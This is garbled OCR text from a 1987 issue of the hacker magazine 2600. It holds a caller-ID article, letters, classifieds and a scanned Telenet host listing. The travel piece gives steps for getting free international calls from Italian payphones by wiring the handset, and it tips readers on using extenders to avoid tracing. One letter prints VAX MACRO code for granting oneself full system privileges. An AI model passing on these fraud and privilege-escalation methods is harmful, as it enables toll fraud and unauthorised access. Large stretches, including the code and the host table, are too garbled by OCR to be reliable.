using the i n d i v i dual or bulk call ing  l i ne 

(continued from page 7) 

i dent i f icat ion features ( "trace") al low the 
rustorner to view the call ing nLJTlber. The world is 
not end ing .. . yet , i n  any case. I nd ividual 
customers will be able to employ a special 
"privacy code", which when dialed, tells the far­
end switch not to forward the calling number to a 
desk display. Whether there will be a way to 
override this or not is obvious : of course. The 
police, the military, and government agencies are 
all l ikely to have a tJjgher priority level than your 
privacy. It $68llS' that long distance carriers 
could benef i t  greatly f rom CLASS. Why 
Bell/AT&T should g ive any type of special 
services to OCC's (Sprint , MCI, etc . )  not given to 
other non-telephone companies, especially after 
equal access is fully implemented, I don't know 
(but then again, it is equal access).  It is also 
possible that there wi ll be no desk display. There 
are those phone phreaks who feel that BOC's will 
never give the end party the privilege of retrieving 
the calling party's number directly, due to plain 
old Bell policy on the issue of privacy. We'll have 
to wait and see about that point: the desk display 
is, in fact, operational and is being used in test 
stages. Whether Bell Labs feels that this feature 
can and will be used in a full scale non-beta stage 
BOC situation is a different story. The economic 
feasibil ity is questionable . .  

End Nola 
CLASS, using local CCIS,  will not function on 

inter-LATA calls. The local CC IS  network is 
exactly that: local, and does not extend into the 
realm of "toll network" .  This will eventually be 
corrected (allowing toll CCI S  to interact with 
LCC I S  as far as CUD infonnation is concerned) .  
How the various long distance networks will 
exchange i n format ion w i th the local B OC 
network is still a matter of speculation. It would 
seem like a monumental task to try to integrate 
the emerging long distance companies into the 
AT&T/BOC I SDN, be it because of equipment 
inconsistencies or lack of cooperation on the part 
of the OCC, etc . 

CLASS is going to cause problems, as well as 
create a new environment for telephone users. Of 
course, those problems are only problems to 
people who wi ll general ly be reading this article , 
but the more you know about CLASS the more 
comfortable you' l l  feel about the service. It can 

(cominued on next page) 



CLASS 
(continued) 

be used to one's advantage ,  even as a 
te lecommun icat ions hobby ist . J ust as a 
corporation wi l l  be able to set up a complete 
history of who is cal l ing their system, and 
eventually keep people off the system using the 
screen l ist in memory, the same features can be 
·
applied to bul letin board systems and the l ike. 
Imagine being able to keep all the local bozos off 
your board, or being able to screen all but your 
pr ivate l oca l  users (mak i n g  your  system 
comp lete ly i naccess i b l e  t h rough the PSTN 
network from any telephone but that of one of 
your users ) .  In such appl icat ions, the system 
could be usefu l .  

phon ing home 
(continued/rom page 9) 

Italy 
I taly, the last country I v isited on my tour, 

turned out to be the the best country all around. 
When I went to I taly I did not think that it was 
very easy to cal l the Un ited States .  I was wrong.  
I tried to f ind out if USA D irect was available in 
I taly and found out it wasn't (but w i l l  00 by the 
end of 1 987) . So I experimented with the use of 
internat ional AT&T cal l i ng cards . This is very 
d i f f i c u l t  s i nce I t a l cab le  ( t he  l ong  d i s tance 
operator of I tal ian Telephone) requ ired cal l  back 
for co l lect and cal l ing card cal ls . Unfortunately 
the only payphones which have the phone 
numbers written on them are the ones in 
restaurants and bars . I asked one of my I ta l ian 
friends about cal l ing for free and she told me a 
trick that she had used whi le in S ic i ly to cal l 
Rome. She showed it to me and it worked . I t  
cou l d  o n l y  be done on  payphones (any  
payphone) . 1 )  Get a piece o f  conduct ing metal 
(wire ,  etc . )  2) D ial 1 1 1  on a payphone (you w i l l  
get a re-order ) .  3) Fasten one end of  the wire to  
the metal guard ing the wire from the handset to  
the telephone itself .  4) Put the other end of  the 
wire in the center hole of the microphone side of 
the handset and tap it extremely l ightly once, 
maybe twice. This shou ld tum the re-order into a 
d i a l t o ne .  Once  t h i s  happens you can d i a l  
anywhere in I taly o r  anywhere in the world 
without any to l l  restrictions. (Note : this takes a 
whi le to get the hang of . )  I f  you cannot work this 
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out, you can deposit 200 Lire ( 1 0  cents) into a 
payphone and it w i l l  let you dial the U.S. It cuts 
you off very soon after you are connected, but 
you can at least give the number of where you are 
staying . MC I  is the only long distance company, 
besides AT&T, that calls I taly. I f  you do go to 
I taly you wi l l  see how bad the telephone system 
is. This could have something to do with the fact 
that they insulate their wire with paper instead of 
plastic. 

Remember when cal l ing the U . S .  to avoid 
c a l l i n g  p e o p l e  u s i n g  f r a u d u l e n t  AT&T  
I nternational Cal l ing Cards . I f  you have t o  use a 
Cal l ing Card , cal l  an extender, and cal l  your 
friends through the extender and then get your 
friends to cal l  you, A lso , if U SA D irect is 
avai lable in the country you are in, use it to cal l 
an extender in the States col lect or use a cal l ing 
card number on USA D irect . The reason I say this 
is because i t  is widely known that when it comes 
to backtracing the worst long distance company 
known for th is ,  by far, is AT&T. A l l  you have to 
do is be careful and enjoy your vacat ion . 

This blue box has chips to generate the 
tones but it still takes up a lot of room in a 
12x2.5x5 inch case. Bell had reset the 
potentiometers inside just in case it was 
sold to someone who knew what it was. 

Photo by John Drake 



Letters Headline (continued from page 13) 
nology and they use their brains to gain 
control of it while everyone else is still 
reading the documentation. We speak . 
to the hackers, but we'll never miss an 
opportunity to enlighten a non-hacker 
who's interested in learning. That's 
wh y  w e  a l w a y s  try a nd a n s w e r  
questions. 

Needs Blue Box Program 
Dear 2600: 

I a m  currently "attempting" to write 
a book concern i ng computer phone 
phreaking and hacking.  I thought a 
section on "blue boxes" wou ld be an 
i nteresting h istory lesson for readers 
si nce the techn ique is fast becom i ng 
obs o l ete a n d  i s  u n k n own to most 
people.  I have BASIC blue box plans for 
the C - 64, Atari ,  and the TI computers. I 
am i n  desperate need of a blue box 
prog ram written enti rely in BASIC for 
the fol lowing computers: IBM, Apple, 
Tandy/Radio Shack. 

Do you have any ava i lable pri ntouts 
of such programs for these computers? 
If one of you r  readers has such l istings, 
they can reach me at (2 1 4) 693-5 1 32 
from 8 am-6 pm CST. 

Edward Dean Jones 

A ccess Still Unequal 
Dear 2600: 

I 'm g ratefu l for the Hobbit's a rticle, 
Getting the Most Out of Equal A ccess. 

Recently, I switched from Ma Bel l to 
MCI and became aware of the equ a l  
access possibi l ities. Unfortu nately my 
area doesn 't perm it equ a l  access. So 
the question now is how do I lobby for 
one? Have you any suggestions? 

I n  l i g h t  of t h e  f a c t t h a t  " t h e  
procedu re for placing a long distance 
ca l l  is now above the u nderstanding 
level (sic, " leve l "  is redu ndant) of a 
good proport ion of the publ ic, and the 
various compan ies a re doing very l itt le 
to educate them , "  what organizations 
and magazines are ava i lable to help 

consumers get through the maze? I 'd 
l ike to see a l ist of them in 2600. 

I 'm aware of a s ingle a rt ic le devoted 
to a lternate long d istance carriers. It 
appeared in Consumer Reports several 
months ago. 

O n  a different subject, 2600's print 
makes r's and n's combine i nto one 
fused incomprehensible letter .  

A n d  f i n a l l y :  a u t h ors a n d  e d i t o r s  
should care enough t o  define terms for 
us neophytes . What's an X-bar switch? 
A CQ? An ESS? 

I hope to see more a rtic les help i ng 
c a s u a l  u s e r s  t h ro u g h  t h e  m a ze of 
phone company shenanigans. 

IHR 
Equal access should b e  available in 

all areas of the USA by the early 
nineties at the very latest. If you carry 
on a bit and call your business office 
with complaints fairly frequently, they 
might speed it up somewhat. But the 
very least they must do is provide you 
with free access to the long distance 
carrier of your choice. Usually this is 
done through the 950 exchange. 

We've noticed the problem with the 
r's and n's on one of our typefaces. 
Until we figure out how to fix that. 
simply substitute an "r" and an "n" for 
every fused incomprehensible letter 
you come across. 

Reaching Out 
Dear 2600: 

Y o u ' v e  b e l p e d  m e  a b u n c h  by 
p u b l i s h i n g  a l l  t h o s e  net  add resses . 
One or two people who I cou ldn't reach 
before became reachable due to you .  
So, in  retu rn, here are some other net 
addresses wh ich work: 

• Jet Propulsion Lib , Piliden., CA 
IJpl -VLSI 

• Cll i lor n i l  Inst i  tute 01  Technol ogy, Pludenl, CA 
IcSYu. cIUlch. edu 

• lerox PARt, P.lo AUo,  CA 

. " llerox. tOt 

(continued on next page) 
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Last Letters Headline (continued) 

I "IT,  Cllbr i dge, IIA 
.. thenl. li t . ldu 

• Ohi o  Shte Un i ver s i t y ,  Col utbus, Ott 
105U-20loh io-sllte. lrpa 

• Un i ver si t y  01  Cal i for n i a  II B" teley 
IDE6AS. BERKELEY, EDU 

• Lavrence li venore Nlt i onal Labontory 

ll ivvlf , dec net i l l t-icdc  • •  rp' 

My question- for the day-what is the 
n a m e  of t h e  net w h i c h  uses " ' "  
dividers, and how does it work? That is, 
there are addresses l ike : 

t un d r a ! f l at foot ! b i ngo ! anywher e ! b o I O  

I wou l d  be co n n ected to node 
"tu ndra ",  wh ich then forwa rds it to 
flatfoot, etc . ,  u nti l it gets to user bozo. 
What's it a l l  about? Who pays for what? 

EH 
Watch for an intelligent answer to 

your question as soon as we track 
down our network experts. For some 
reason. they 're extremely hard to 
reach. 

More on VAX 
Dear 2600: 

Enjoyed you r  a rt icle on the VAX. I 'm 
a lways looking for i nformation on how 
to prevent harm. 

O n e  com m e n t :  you don ' t  need 
C M K R N L  p r i v i l e g e  t o  g a i n  f u l l  
privi leges. See below. 

The Carolina Beachcomber 
. '  

• T I TLE 
"ASK: • QUAD 

• ENTRY 
SCmEC_S 
SEl I T_S 

SETE": SSETPRV_S 

RET 
, END 

6ET_PR I VS 
"XFFFFFFFFrFrFFFFF 
6ET _PR IVSr  ""0 
RDUTlN=SETE" 
1 1  
PR"FL6=1 l ,  -
ENBFL6=i I, -
PRVADR=IIASK 

6EUR I YS 

End 01 i l ot al p r i v i l ege !  

- - - - - - - - - - - - - - - -
1 TELENET (continued/rom page J J) 1

: 30 1 2 3  • I BN 1 : 30 1 24 1 : 30 1 26 Pr i .. 
: 30 1 28 

: Cr ... S,st •• C ••• uninti  .. 
: SOU". S,.tel 1 0  

: DNA NOI Dn l i n. 
: S •• r e t  5,11 •• 1 3  

: P r i  .... t SYS750 1 : 30 13 1 1 9 . 1 . 6  

: 30 1 33 SYS/32 VOS : Unihd C ••• unc i a t i .u C.opul .. Stni "s 6rooql 1 : 30 1 l5 Un i .  4 . 3  : .. I.-vn 
1 : 30 1 36 

: 30 1 38 : S •• r" S,st .. I I  1 : 30 1 39 : CASE C .... n i u l i .n. : 30 145 : 6onon l  E I .c t r i c  1 : 30 1 4 7  : 5 •• " .  S,st ll 1 2  1 : 30 1 4 8  : So.", S,.te. I S  

: 30 1 41 : Sou". S,.h. 1 4  1 : 30 1 52 . .  Pr i .. • 

1 : 30 1 54
, 

: LAN : GOUlD L.cal  Area •• t •• r k  
: 30 1 51 : Burr o.gh. : Sann.t Pub l hhing (USA Tod.,) 1 : 30 158  : f'r l le : CDA Cn l i n� Ser V H i! §  

: 30 1 65 S :  SYS/32 �DS : UnI t ed C.Hwu u l i  ... Coop.ler S .. .  i c II 6roup I : 30 1 150S 1 YAI/YNS : 
: 30 1 151S : �AlI YNS : VAl 7BO ECRUDS H ... C •• I : 30 1 1 70S : SYS/ 32 VOS : Uni hd C_n l C al i .ns C.oputer S.n i c "  6r •• p 

I !��:����! __ ����_��::_!_����������_��_����:�� _______________________ . I : J03�3 P r i  •• 1 : 303Z5 RSTS Y7 . 2  : C .  R.  C. 

; 30334 1
: 30338 20. 0 . 4 . R6 • Pri •• n.I SL 

CDC Cyb.r 
06 AOS/VS 

OS AOS/YS 

1 : 30344 

: 30350 1 : 30354 

: 30351 ZO . 0 . 4 . R2 Pri  •• n.t OENYER I : :0358 Inlmch v. S,.I ••• PAD 
� ______________ � 1 : 30360 

Th is  l i t t l e  d i t t y  i5 a 51 11p'" : 30361 • •  
D 6  AOS/YS 

06 AOS/YS 

D6 AOS/YS 
06 AOS/YS 

1 : 30362 I: The ovner needs onl y  £lEC pr i v i l ege to  gnnt 
I I 1 : 30364 . :  

h i lsel f lul l p r i  vi  eges , 
: 30365 : 

Rettlber Ih,1t i I soteone vant s  • . . . onl y  . . . • 1 : 303" . :  
£lEC p r i  vi l ege i nstlld 01 KERIlEL. : 30369 . :  

Burr ough 

D6 AOS/YS 

D6 AIIS/YS 1
: 30375 I: 

Sive it 15 a l i I enall. "AR : 30378 : D6 AOS/YS 1 : 303100 : 1111 COlp i l e  it by t yp ing :  1 : 3031 14' : • IlACRD iii  enlll : 3031 15. : 
Link  i t  by t yp i ng :  1 : 3031 16$ : 

Networ k S . . .  i .n ·(97900 •• i n g  Cande .p/.,s) 

' Incorrect lout i ons ID I  

'EAt .. SII Chiu ch .. ' 

• LI lli( f i J enallr SYSSSYSTEI: SYSDEF . STB 1 : 303130 : D6 AOS/YS 
EllCuti it by RUin i ng f i l enlll : 303131 : P.tr.l .... Inf  .... I i  .. Nlh.r k 

� _____________ ..J 1 : 303133 : : 303134 : 1 : 303135. : 
YAI/VlIS 

TDPS-20 
CDC C,ber 

. 
SoftSnr cb .. h.rk 8 
C.l orado St.te Uni YI . . i t y  
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Z600 marketplace 
WANTE D :  Looking for a good used 5 or 1 0  
megabyte hard dr ive for the Apple I I  ser ies 
of computers. I f  you are sel l i ng one or know 
of a nyone that is then send repl ies to : Brian 
F. ,  l 003 W. Main,  Apt.  3,  Ottawa, I L 6 1 350. 
I N E E D  I N FO on a power supply made for 
Western E lectr ic by ACM E  E lectr ic Corp. in 
1 9 7 1 . I t  i s  d e s i g n a t e d : R e c t i f i e r  
Sem iconductor Type-J87233A- 2 LI .  Input 
is 208124Ov, output 48v/30a using SCR's 
as control elements. Any i nfo wou ld be 
a p p r e c i a t e d . A s c h e m a t i c  wo u l d b e  
wonderfu l .  I ' l l  b e  g lad to reimburse copying 
costs.  J .  K le in ,  1 2330 Taki lma Rd.,  Cave 
J unction, OR 97523. 
F O R  S A L E : Texas I n st r u m e nt "Afe i s ­
per u r iter" ( S i lent 7 00  series) inte l l igent 
d a t a  t e r m i n a l .  M a n y  u s e s .  R e a s o n a b l e .  
Contact Ted K . ,  P O  Box 533, Auburn,  NY 
1 302 1 -0533.  
SCHEMATICS-BUY, SELL, TRADE .  We are 
interested in enlarging our col l ection of 
c i rc u it d iagrams for i nterest ing electronic 
devices. Send l i st of what you wa nt/have 
and a SAS E to: J . R .  "Bob" Dobbs, PO Box 
444, Shawnee M ission, KS 66202 . 
TA I W A N  I A l l  T a i w a n  c o m p u t e r s  a n d  
accessories ava i lable for d i rect shipment 
for cost plus shipp ing plus 3% (quantit ies of 
50 or more). G i les, PO Box 1 2566, EI Paso, 
TX 799 1 3 .  
P R I VATE I N V E ST I GATO R B e n  H a r ro l l  
wou ld l ike to hear from other P. I . 's a nd/or 
ANY other "spooks" i .e .  N . S A ,  C . I .A. ,  F. B . I . , 
etc . for pu rposes of exchanges in ideas, 
tec h n iq ues, sou rces, and eq u i pment. (6 1 9) 
239-699 1 .  425 "F" St . ,  San D i ego, CA 
92 1 0 1 
TAP BACK ISSUES. Reprints of complete 
c o l l e c t i o n . Q u a l i t y c o p i e s .  D e l i v e r y  
i n c l u de d .  S e n d  c a s h ,  c h eq u e ,  o r  M O  
(Payable t o  I PS) .  $60. John L . ,  P .O.  Box 722, 
Station A. Downsview, Ontario M3M 3A9. 

F R I DAY, J U N E  5, 1 987 AT 5 PM . That 's 
when the f i rst 2600 meeting w i l l  occur  in  
New York C ity. I f  you want  to  drop off 
a rt icles, ask us q u est ions, meet people, or 
j u st see what we look l i ke,  come on by. At 
the Cit icorp Center in the Atr i u m- 1 53 East 
53rd Street. 
ETH I C A L  I N V E S T I N G  is a s h a rewa re 
" d a t a b a s e " that  p r o v i d e s  backg r o u n d  
r e f e r e n c e  i n f o r m a t i o n  o n  s o c i a l l y 
responsible i nvest i n g .  This information is 
provided to help spread the word about 
eth ica l i nvestment choices. Incl uded are a 
suggested readi ng l ist, soc i a l ly responsible 
m ut u a l  fu nds, even a n  ethical VISA card.  
There is a lso a l ist of the top 100 defense 
c o n t ractors a n d  t h e  ow n e r s  of n u c l e a r  
power plants. The price o f  the d isk i s  $ 1 0. 
Write to : Jerry Wh it ing,  P .O.  Box 2082 1 -CL, 
Seatt le, WA 981 02- 1 82 1 . 
I ' D  L I K E  TO T RA D E  PC softw a r e  w i t h  
ANYO N E  having a n  I B M  P C  o r  compat ib le .  
At present my PC l ibra ry a pproximates 1 1 0 
prod u cts i n c l u d i n g  t h e  l a test g a m e s ,  
diagnost ic programs, business softwa re, 
ut i l it ies, and var ious word processing and 
other application software. Readers can 
contact me by writ ing : Software, PO Box 73,  
Un ionda le, NY 1 1 553.  
WANTED :  A decent modem program for use 
o n  a Ze n i t h  Z - 1 00 r u n n i n g M S - D O S .  
Contact Manny @ 26OO, ( 5 1 6) 7 5 1 - 26OO 0r 
PO Box 752, M iddle Is land, NY 1 1 953. 
DOCUM ENTATIO N  on e lectron ic & dig ita l 
PBX's and switching systems. Wi l l i ng to 
t r a d e / p u r c h a s e .  A l s o  look i n g  for B e l l  
S y s t e m  P r a c t i c e s  a n d  o t h e r  s u c h  
parapherna l i a .  Write to B i l l ,  c/o 2600, PO 
Box 752B, M iddle Island, NY 1 1 953. 
GOT SOM ETH ING TO SELL? Looking for 
somet h i ng to buy? Or trade? This is the 
placel The 2600 Marketplace is free to 
subscribersl . Just send us whatever you 
want to say (without making it too long) a nd 
we ' l l  p r i n t  i t l  O n ly p e o p l e  p l ea s e ,  no 
businesses I 
Dead l i ne for June issue :  6/5/87. 
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: 10 3 1 Jb : HP-3000 
: 303 1 3 8 : OS AOS/VS : 
: 30 3 1 4 0  : : Wi t n ey Networr  Ser v l C!5 Un i t  Col orido Spr l ngs 
: 30 3 1 4 5 : OS AOS/VS : 
: 303 1 4 & : OS AOS/YS : 
: 303 1 4 8 : 06 AOS/VS  : 
: 30 3 1 49$ : ' Incor r rc i Lo"l l o" ,  1 0 '  

: 30 3 1 5 1  OS AOS/VS : 
: 3 0 3 1 & 4  D6 AOS/VS : 

: 30310 1 
: 303150 
: 303:&0 
: 303270 
; 30ni 1 

06 AOS/VS  : 
DS AOS/VS : 
VAII V�S 

10 . 1 . 0  : P "  .. n.1 �O . OEN 
1 1 . 4 . 5  : P r  l Ion.1 C S .  BUS 

+ -- - - - - - t - --- - ------. +------. -----.------------------------------- ---
: 30504 I i" : "u t I n  PlU l I U .  
: 30520 HP-3000 : m  AOVI S m 1 4  
: 30m HP-3000 : rDP PfNl SYS'7 
: 305,3 
: 30519 �P-3000 : rDP PEN4 mm 
: 30537 VAI / V"S 

: 30556$ : 

: 30559 : 'LOBON' 
: 30563 HP-3000 : rop 
: 30573 /iP-3000 
: 30578 : Cyber n . I / ,y,l .. 8 Co, ,1 Sib l . s ,  n Ol l do 
: 30573 : Cyb.r n.I / ,y, l .. 0 Co,,1 Sobl .. , n O l l  dO 
: 30584 

: 305 1 2 9  : HP-3000 

', 305 !36  : HP-3000 
: 305 1 3 7  : HP- 3000 
: 305 1 38 : HP-3000 
: 3C� 1 39 : HP-30oo 
: 305 1 4 0  : " l nVll i d COI.ind" 

: 305 1 4 8  : 
: 305 1 4 9  : /iP-3000 
: 305 1 S l  : : VU/TEIT PI  .... Si gn On (5 ... u C VUTEIT )  

: 30 5 1 6 0  : : Cyb.rn.l l e s  Sys t o. C 

' 3�5 1 . 1  : : Cybern.l i c s  Sy,IH A 

: 305 1 . 2  : : Cyb.rn.l i c s  Sy.to. 0 
: 305 1 &4 : : Cyb.r n.t i c s  Sy.te. D 
: 30 5 1 65 : : Cyborn.t " s  Sy.tH B 

: 305 1 .6 : : CS I TI  •• shu i ng 
: 305 1 67 : : CS I T i ••• h u i n g  

' 305 1 68 : : Cyb.rn.l i c s  Sy.t •• B 

3 0 5 1 6 9  : : Cyb.rntl " . Sy. I H  C 

305 1 7 1  : : Cyber n.1 i cs Sy.I •• I 
3051/6 : : Cyber .. l l c s  Si.I •• 0 

:S� V"/ 370 : 
vwm 

V l el/ h on 

: 3 1 ::75 : 1 1 . 4 . 5  : Pl l le,,1 " O . C H I  

: 3 1 2276 : 1 3 . 4 . 1  : P r l lenel  ! O . l P I  -="' > � 
: 3 1 15:6 : : Keyc OI-A (00 :3 � M 
: 3 1 1619 : : K,yc ol-' coo � 'wi .... 
: 3 1 1632 : IS� '1 " 1 370 : S· 0 l ' 

::�����_: ____________ :_::�::���_����::::� :_______________________________ : ;;;�;: : :!� 1�:�J70 : l =:e � 
: 3 1 230 : • Ser  V l  c '

. 
I 0:" . - - - - - - - '1" - - - -- - -- ---- . - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - .  � � 

305239 
305248 
305201$ 
305273 

: 30527b V A l / VIS 

3 1 23 1  TOP S - I O : C . I . C .  T l tfS h o ' ' " 9  : 3 1 32 5  : : COI,h , , ,  C rJ1 M 
3 : 135 I S! ViA! : 3 : 340 , , ADP S.t ,or k iTyp. ' A I D ' ! ::: rJ1 � 

' 3 1 236 Pori  5.1 . : U of Ch I C 'go c o.pu l . ,  c e n l . ,  IS .. ol f PAC I 2000 ) : 3 1 3 4 1  : A D P  S.I,or k i T yp. ' A I D ' !  '1::l _ 
' 3 1 2 4 1  : C . I . C .  C e n l  . .  1 L l b w y  C h I C og o  : 3 1 350 : Col l m on [ , 1 1 14 1 " 9  Sy, Ieo  � l�..1 
' 3 1 24 1 ' :  RSTS  V7 . 2 : T . .  "nol SVSA : 3 1 370 TOPS-20 : S" T l IO,hmng � 

rJ1 
: 3 1 24 3 . :  RSTS  V7 . 1  T r mnol  SVSA : 3 1 374  TOPS-20 : G� Tm,hat l n g  0;; 
: 3 1 244 $ :  RSTS VB. 07 : T r a Y,"o l  SVSA : 3 1 382  V" - TSO  : rEPOOl  - !ul l i  S l ' t e o  '-
: 3 : 246 $ :  

: 3 1 243  
' ;equtsl in  " o l il l On o f  'y,l  .. secul l I y  s l ind  ..  d , '  : 3 1 383 VI - TSO : rEPOOl , !ul l l  Sy,t  .. 

A.", , , n  Ho,p l l . 1  Sup p l l e, Cor p . : 3 1 3 1 1 1  : ' P o r l 'U2S.00 IVC01'  

AI", ,,n  Hosp i l o l  Supp l ", Cor p . : 3 1 3 1 2 0  ' P o r t 'U:S600 IVCO!' : 3 : 250  
: 3 1 265  
: 3 1 270 

II! TSO 

P.op l . / l i n k  
: 3 1 2 1 20 : II! : Tl"E Inc . Chi c ag o  O o l i e rnl.,  
3 i 2 1 2 1  T 1 �E I n c .  'Colund : '  
3 1 2 1 3 1  IS! V"/370 : 
3 : 1 1 42 HP-3000 
3 1 2 1 5 0  : 
3 ! : 1 5 9  : 
3 1 2 1 60 : 
3 : 1 1 6 1  : 
3 1 2 1 6 2  ; 

' E n t t' r  SubSC r i ber  I D '  OA6 
' E . t "  Sub s c l l ber  1 0 '  OA6 

2 1 2 1 63 : : 'POR'  , m5'00 mO l USER ! D : " '  
3 1 2 1 701 : vwm : SKVAl2 
3 1 2 1 11 : 

: 3 : :: 1 9  Co l l i S i on est l ut i n g  systl. ( HU )  
: 3 1 2 122 'PORT ' U25roc m O l  USE! ID : ? '  

: 3 : ::25 Honey.,I I  ' U  S O  D."' . Typ. 1 0 '  

: 3 1 2227  : ' PORT ' m5ro, mOl  USER I O : ? '  

: 3 1 2230 

: 3 1 113 1 : V" - TSO : Con l i n e n l . 1  C .. Co.p .. y 

: 3 1 2233  : 'Pu,T ' 1 I 15VOO 'VCOI  USER 1 0 ? '  

: 3 1 2235 : 'PORT ' Sl 25YOO 'VCOI USER ID?' 
: 3 : 2236 : ' P l use r e-enhr l ogon p r ocl!£Idure'  
: 3 1 2237 : 1 8" 
: 3 1 12391 : IS! TSO 

: 3 1 2257 : : ' 1 0 :  P,,,.or c '  

: : 1 2:59 

3 1 2266 
3 1 , , 6 7  

3 1 1270 

:0 . 0 . 4  

RSI - I I 

HP-3000 

Pr l I,net SA� 

: 3 1 3 1 3 1  : : ' USER NU!SER-- He l p  rone:  3 1 3-SSG-Ol I 6 '  

: 3 1 3 1 33 : 
: 3 1 3 1 34 : 
: 3 1 3 1 .0 : 
: 3 1 3 1 & 1  : 
: 3 1 3 1 62 : 

: 3 1 3 1 6 3  : 
: 3 1 3 1 . 4  : 
: 3 1 3 1 70 : 
: 3 1 3 1 71 : 
: 3 1 3101 : 
: 3 1 3255  : 

: 3 1 3156 : 
: 3 1 3157$ : 
: 3 1 3365 : 
: 3 1 33.6 : 
: 3 1 3367 : 

, : 3 1 3370 : 
: 3 1 33 7 1  : 
: 3 1 3371 : 
: 3 1 3373 : 
: 3 1 337. : 

: 'Enter  Access Code'  

I l . 4 . !  : P r l lenel SrSA 
'Por t ' S l lS.OO 'VC09' 
' P o r t 'U25600 IVCOS' 
'Por \ ' 1 125600 'VC01'  

' P o r l 'lIl5600 'VeOl' 
: VU/TElT 

: C . A . S . C .  Net wor k ' E n t e r  Si gnon' 
: O l l i e  CPf 1 1 07 'Pils5word r equi r ed for lIor k s t a t I on '  

Por t 5. 1 : : mRI T :  m (DT88 : TlOO : f I 700 )  
!Iu ! t I C S  : ' Ch .. nel  b . h 1 2800 ' 
Hon.y.e l I : 'U so D.",. Type ID'  

Port 5.1 . 

!lul t i e s 
10. 0 . 3  

20 . 2 . 1 

1 9 . 4 . 3  
20. 0 . 3  
20. 0 . 4  

: T i ushare  �et w o r k  
' C h  .. ne l  b . h 1 0800 P I  .... l og i n '  
P" .,net !D. OET 

P r l t  .. et CS. OET 

P r i .en.1 "D.  DATA 
: P I I  .. net PTCDET 
: P " "  . . I ,!O . DAC 

+-------+-----------+-----------.--.�.----------------.-------------.---
:31435 . :  D6 AOS/YS : 

1 3 1 4 1 00 : 1 WU "ed i e d  Co.pul i n g  O.hsw i l c h  
1 3 1 4 1 5 0 $ :  
+-------+-----------+-------------------------------------------------
: 3 15,0 : : 'Enl .. Sy,I .. 1 0 '  NiS r'Vft/m 
: 3 1 550 I: 18" VTA" : Si  •• " .  

. +-------+-----------+----------------------------------------------.:..--



� 
::: .. ':' 

31 730 I :  ' 10  I n col l te t  Lac . t i on  10 '  
3113 1  , :  
3 1 135 : p u r d u  . . .. p. 
31m : VAIIV"S 

3 1 138 , :  
+--�.-.-+----------.--------- ._------..... _---_ ........ _-
: 40 1 25 : 20. 1 

: 40 1 , 1 2 : Un" 

: Pr i ltnlt LSIS 

: "od.1 Ci  ty 
+ -----... ... + _  ... ---...... -----t-... - _  ... --------------..... ---------........ --_ ...... --.. --
: 404:0 : : S I TEMET ( 5.1. is C S I T l  
: 40421 : 20. 0 . 3 . !5 : Pruonot E�A I 

: 40433 ,: DS ADSIVS : 
: 40m I: 06 AOS/VS : 108f0300lA 

: 4043. , : 06 AOS/VS : SmO lA 
: 40.437 , :  06 AOS/VS : R08fOJA 
: 40139 ,: 06 AOS/VS : Sm02A 
: 40451  Sitev.y : Scher i ng Plough Corp . 
: 40451 

: 40159 

: 40400 

: 40402 

: 40403
" 

: 
: 40464 
: 40471 

: 40419 

ms V8. 0  : CoIfIutonl 

Un i ,  4 . 3  : l .. ryu2 
I BM : ' Innl i d III charac ters-

: " .. t i n  "" l lih Si l 3270 
r. 

' 40455E Connec t ld' 
: 4041 30' HP-3000 

: 404153  : 

: 40 4 1 m :  

: 404 1 62 : 
: 4041.bI : 

: 40 4 1 7 4  : : 'We lc  ... I. Coi n Suppor l '  
: 404 193 : : ACROIET 
1 404220 : 1 9 . 4 . 1 1  : Pr i .... 1 1  nUTl 
: 404221 : 1 9 . 4 . 1 0 . 14 :  P " ltnel fNP . AT 
: 404 230' : 

: 40424 8  : 
: 404249 : 

: 40425, : 
t-------+------------t-------------------------' 

: 40.34 06 AIlS/VS ' :  
- : 40036 D6 ADS/VS : � : 40,37 06 ADSII'S : 

: 40640 06 A05 /VS : 
: 40641 06 AOS/VS : 

: : 40 6 1 25' : 

� t------t··-----------t---------------------

.... : 40B43 : : ' Enler De,t i,.t i on .ub -.ddress (ON) , '  
- : .0945 $ :  

: 40849 , : 

: 40850 : : i bl-.j • .,p. Sin JOII 
: 40858 : VAl/VIIS : Wll c Ol1 10 SDftA 
: 408 1 00 : 

: 408 1 2 1 1 :  

: 408125 : HP-3000 
: 40 8 1 33 : LAN : Sw> " i c r o  Sy,I H "  1 . 25 6.ltv.y 
: 4081 34' : 
: 408 139' : CDC 
' 4081 4,' : CDC 
: 408149' : 

: 408154 : 1 9 . 4 . 1 1  : p" .. nel I VAN 
: 408151  : Un i ,  : Pyrolld Technology Du.l Pori 0., 
: 408 1 59 : VAIIV"S 
: 4081 1 1 ' :  

: 408235 : 06 ADS/YS : 6 1 0b.l W .. lher Dyn .. i c i  - "YZ 

: 408238': 
: 408605 : HP-3000 : O f fiCI Aul oo.l i on  
: 408629 : : 'WIl colI 10 Ihe Ofv d.h .vi t c h '  
+ ...... ... ...... - -+ � ---� �------+---------------------------- -- -- ----- -_. 

: 4 1 220 Port Sel . : "SA P6H Couuni cil i on. Nehor k  
: 4 1 222 IB" TSO : ( Iunn i n, ACf2) 
: 4 1 223 18" TSO : ( Iunn i n, ACfZ) 
: 4 1 230 Por t Se l .  : Chonnel 04 - connected - Enter  Cl  .. , 
: 4 1 247  IS! TSO 

: 48-52 ; : B! [Sa 
: 4 1 155 : : ' i nviI i d  ( o.lin d '  
: 4 1268 , :  06 AOS/VS : R09f2 1 00 l A  
: 4 1 2 1 12 : 

: 4 1 2 1 73 1 :  COC Cyber : U51 P6H Servi c e  Cenl er 

: 4 1 2262 : ZO. 0. 4 : Pr l lfnel P I nCS 
: 4 1 2264 : 1 9 . 4 . 9  : Pri m.1 "D. P l T  
4 1 2610 Pori 5e l . 

4 1 2671  Por t 5el . 
4 1 2672 Port 5.1 . 
4 1 2703 

4 1 2704 IB" 
4 1 2106 19ft 

: Cuntgi.-"e! l on Uni ver s i t y  "icol-A 

: C"neg ll-!el l on Un! vfr si ty "i (ol-B 
: C .8 . U. "ulli -5ysl .. Nelwor k A-I 

: The "eteon N.tvork 
(Iooni ng ACF2) 

: ( Ioon i  n, Acr2) 

+-------+------------+_ ... _-_ .. _ ... _ .. _---------_ .. _ ..... _----........ ----_ .... -...... . 
: 4 1 32 1  , : : ( I YPI TW8 1 l  DfM READY 
+---_ ..... _+_ ... _---------.----------_ ........ _ ... __ ........ _-------------------

: 4 t431  , : 06 AIlS/VS : R09r 1OA 

: 4 1 434 , :  

